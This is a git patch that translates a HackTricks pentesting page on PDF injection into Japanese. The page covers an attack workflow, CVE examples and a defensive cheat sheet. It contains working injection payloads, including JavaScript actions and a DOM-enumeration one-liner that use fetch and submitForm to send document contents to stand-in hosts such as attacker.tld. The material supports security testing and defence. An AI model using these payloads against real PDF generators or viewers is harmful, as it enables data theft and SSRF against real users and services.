From 2bd8a3f7ce62e130356da47bd0e4036bada4267a Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 4 Aug 2025 18:13:42 +0000 Subject: [PATCH] Translated ['src/pentesting-web/xss-cross-site-scripting/pdf-injection.m --- .../xss-cross-site-scripting/pdf-injection.md | 58 +++++++++++++++++-- 1 file changed, 53 insertions(+), 5 deletions(-) diff --git a/src/pentesting-web/xss-cross-site-scripting/pdf-injection.md b/src/pentesting-web/xss-cross-site-scripting/pdf-injection.md index e9d2e1d0d..2bd22d702 100644 --- a/src/pentesting-web/xss-cross-site-scripting/pdf-injection.md +++ b/src/pentesting-web/xss-cross-site-scripting/pdf-injection.md @@ -1,7 +1,55 @@ -{{#include ../../banners/hacktricks-training.md}} - -**PDFファイル内に入力が反映されている場合、PDFデータを注入してJavaScriptを実行したり、PDFの内容を盗むことができます。** - -投稿を確認してください: [**https://portswigger.net/research/portable-data-exfiltration**](https://portswigger.net/research/portable-data-exfiltration) +# PDF Injection {{#include ../../banners/hacktricks-training.md}} + +**PDFファイル内に入力が反映されている場合、JavaScriptを実行したり、SSRFを行ったり、PDFコンテンツを盗むためにPDFデータを注入することができます。** +PDF構文は非常に寛容です – 入力を埋め込んでいる文字列や辞書から抜け出すことができれば、Acrobat/Chromeが喜んで解析するまったく新しいオブジェクト(または同じオブジェクト内の新しいキー)を追加できます。 +2024年以降、バグバウンティレポートの波が、*エスケープされていない1つの括弧またはバックスラッシュで完全なスクリプト実行が可能である*ことを示しています。 + +## TL;DR – 現代の攻撃ワークフロー (2024) +1. 生成されたPDF内の**(括弧文字列)**、`/URI ( … )`または`/JS ( … )`フィールドに最終的に入るユーザー制御値を見つけます。 +2. `) `(文字列を閉じる)を注入し、以下のプリミティブの1つを続け、構文を有効に保つために別の開き括弧で終わります。 +3. 悪意のあるPDFを被害者に配信します(または自動的にファイルをレンダリングするバックエンドサービスに – ブラインドバグに最適です)。 +4. あなたのペイロードはPDFビューアで実行されます: +* Chrome / Edge → PDFium Sandbox +* Firefox → PDF.js (CVE-2024-4367を参照) +* Acrobat → 完全なJavaScript API(`this.getPageNthWord`を使用して任意のファイル内容を抽出可能) + +Example (annotation link hijack): +```pdf +(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next ( +``` +*最初の `)` は元のURI文字列を閉じ、次にユーザーがリンクをクリックしたときにAcrobatが実行する新しい**Action**辞書を追加します。* + +## 有用なインジェクションプリミティブ +| 目標 | ペイロードスニペット | ノート | +|------|-----------------|-------| +| **オープン時のJavaScript** | `/OpenAction << /S /JavaScript /JS (app.alert(1)) >>` | ドキュメントが開かれたときに即座に実行されます(Acrobatでは動作しますが、Chromeでは動作しません)。 | +| **リンク時のJavaScript** | `/A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >>` | `/Link` アノテーションを制御している場合、PDFiumとAcrobatで動作します。 | +| **ブラインドデータ流出** | `<< /Type /Action /S /URI /URI (https://attacker.tld/?leak=)` | JS内で `this.getPageNthWord` と組み合わせてコンテンツを盗むことができます。 | +| **サーバーサイドSSRF** | 上記と同じですが、内部URLをターゲットにします – PDFが `/URI` を尊重するバックオフィスサービスによってレンダリングされるときに便利です。 | +| **新しいオブジェクトのための改行** | `\nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj` | ライブラリが改行文字のインジェクションを許可する場合、まったく新しいオブジェクトを作成できます。 | + +## ブラインド列挙トリック +Gareth Heyes (PortSwigger) は、未知のドキュメント内のすべてのオブジェクトを列挙するワンライナーを公開しました – 生成されたPDFが見えないときに便利です: +```pdf +) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> ( +``` +コードはAcrobat DOMを反復処理し、すべてのプロパティ/値ペアに対して外部リクエストを行い、ファイルの*JSON-ish*ダンプを提供します。完全な技術については、ホワイトペーパー「Portable Data **ex**Filtration」を参照してください。 + +## 実世界のバグ (2023-2025) +* **CVE-2024-4367** – FirefoxのPDF.js 4.2.67以前での任意のJavaScript実行が、作成された`/JavaScript`アクションでサンドボックスをバイパスしました。 +* **バグバウンティ 2024-05** – 大手フィンテックが顧客提供の請求書ノートを`/URI`に許可し、`file:///` URIを使用して内部メタデータホストへのSSRFを示した後、報告に対して$10kが支払われました。 +* **CVE-2023-26155** – サニタイズされていないPDFパスを介した`node-qpdf`コマンドインジェクションは、PDFレイヤーの前にバックスラッシュと括弧をエスケープする重要性を示しています。 + +## 防御のチートシート +1. **生のユーザー入力を`(`…`)`文字列や名前の中で連結しないでください。** PDF仕様の§7.3に従って必要に応じて`\`、`(`、`)`をエスケープするか、16進数文字列`<...>`を使用してください。 +2. リンクを構築する場合は、完全にURLエンコードされた`/URI (https://…)`を優先し、クライアントビューアで`javascript:`スキームをブロックしてください。 +3. PDFを後処理する際に`/OpenAction`、`/AA`(追加アクション)、`/Launch`、`/SubmitForm`、および`/ImportData`辞書を削除または検証してください。 +4. サーバー側では、JavaScriptと外部アクションを削除する*ヘッドレスコンバータ*(例:qpdf –decrypt –linearize)を使用して信頼できないPDFをレンダリングしてください。 +5. PDFビューアを最新の状態に保ってください。PDF.js < 4.2.67および2024年7月以前のAcrobat Readerは、簡単なコード実行を許可します。 + +## 参考文献 +* Gareth Heyes, “Portable Data exFiltration – XSS for PDFs”, PortSwigger Research (更新日: 2024年5月). +* Dawid Ryłko, “CVE-2024-4367: Arbitrary JavaScript Execution in PDF.js” (2024年4月). +{{#include ../../banners/hacktricks-training.md}}